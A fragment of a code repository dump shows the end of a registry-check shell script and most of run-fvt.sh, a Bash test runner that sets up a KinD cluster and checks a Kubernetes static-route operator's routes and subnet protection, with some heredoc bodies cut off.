EXIT_CODE+=1 )) 32 | done 33 | 34 | kill $KEEPALIVE_PID 35 | 36 | for docker_registry in ${REGISTRIES} 37 | do 38 | echo && cat /tmp/${docker_registry}.log 39 | done 40 | 41 | exit ${EXIT_CODE} 42 | -------------------------------------------------------------------------------- /scripts/run-fvt.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | set -o pipefail 4 | 5 | SCRIPT_PATH=$PWD/$(dirname "$0") 6 | KIND_CLUSTER_NAME="static-route-operator-fvt" 7 | KIND_IMAGE_VERSION="kindest/node:v1.29.2@sha256:51a1434a5397193442f0be2a297b488b6c919ce8a3931be0ce822606ea5ca245" 8 | KEEP_ENV="${KEEP_ENV:-false}" 9 | SKIP_OPERATOR_INSTALL="${SKIP_OPERATOR_INSTALL:-false}" 10 | PROVIDER="${PROVIDER:-kind}" 11 | FVT_HELPER_IMAGE="${FVT_HELPER_IMAGE:-busybox}" 12 | IMAGEPULLSECRET="${IMAGEPULLSECRET:-}" 13 | 14 | # shellcheck source=scripts/fvt-tools.sh 15 | . "${SCRIPT_PATH}/fvt-tools.sh" 16 | 17 | cleanup() { 18 | fvtlog "Running cleanup, error code $?" 19 | delete_hostnet_pods 20 | if [[ "${KEEP_ENV}" == "false" ]]; then 21 | kubectl delete staticroute --all &>/dev/null 22 | if [[ "${SKIP_OPERATOR_INSTALL}" == "false" ]]; then 23 | manage_common_operator_resources "delete" 24 | fi 25 | pod_security_unlabel_namespace default 26 | if [[ "${PROVIDER}" == "kind" ]]; then 27 | kind delete cluster --name ${KIND_CLUSTER_NAME} 28 | rm -rf "${SCRIPT_PATH}"/kubeconfig.yaml 29 | fi 30 | fi 31 | } 32 | 33 | trap cleanup EXIT 34 | 35 | fvtlog "Preparing environment for static-route-operator tests..." 36 | 37 | ## Prepare the environment for testing 38 | if [[ ${PROVIDER} == "kind" ]]; then 39 | fvtlog "Provider is set to KinD, creating cluster..." 40 | create_kind_cluster 41 | 42 | # Get KUBECONFIG 43 | kind get kubeconfig --name "${KIND_CLUSTER_NAME}" > "${SCRIPT_PATH}"/kubeconfig.yaml 44 | 45 | fvtlog "Loading the static-route-operator image to the cluster..." 46 | kind load docker-image --name="${KIND_CLUSTER_NAME}" "${REGISTRY_REPO}":"${CONTAINER_VERSION}" 47 | else 48 | fvtlog "Provider was set to ${PROVIDER}, use the provided cluster." 49 | fi 50 | 51 | # Label default namespace to allow privliged pod creation 52 | pod_security_label_namespace default 53 | 54 | # Support for manual install 55 | if [[ "${SKIP_OPERATOR_INSTALL}" == false ]]; then 56 | manage_common_operator_resources "apply" 57 | fi 58 | 59 | # Get all the worker nodes 60 | update_node_list 61 | 62 | # Spin up helper pods to exec onto node network NS. 63 | create_hostnet_pods 64 | 65 | # Delete all the static routes before the test 66 | kubectl delete staticroute --all &>/dev/null 67 | 68 | # Restore default labels on nodes 69 | label_nodes_with_default "zone01" 70 | 71 | ## start the actual tests 72 | fvtlog "Starting static-route-operator fvt testing..." 73 | fvtlog "Check if the static-route-operator pods are running..." 74 | check_operator_is_running 75 | fvtlog "OK" 76 | 77 | # Choose a node to test selector case 78 | A_NODE=$(pick_non_master_node) 79 | 80 | # Get default gateway on selected node 81 | GW=$(get_default_gw "${A_NODE}") 82 | fvtlog "Nodes: ${NODES[*]}" 83 | fvtlog "Choosing Gateway: ${GW}" 84 | fvtlog "Choosing K8s node as selector tests: ${A_NODE}" 85 | 86 | fvtlog "Start applying static-route configurations" 87 | 88 | if [[ ${PROVIDER} == "kind" ]]; then 89 | cat < operator.yaml 224 | cat operator.yaml 225 | kubectl apply -f operator.yaml 226 | 227 | SUBNET1=$(pick_protected_subnet "${PROTECTED_SUBNET_TEST1}") 228 | SUBNET2=$(pick_protected_subnet "${PROTECTED_SUBNET_TEST2}") 229 | else 230 | fvtlog "No subnet env variables, skipping subnet protection test" 231 | SKIP_PROTECTED_SUBNET_TESTS=true 232 | fi 233 | fi 234 | 235 | check_operator_is_running 236 | 237 | if [[ ! "${SKIP_PROTECTED_SUBNET_TESTS}" ]]; then 238 | cat <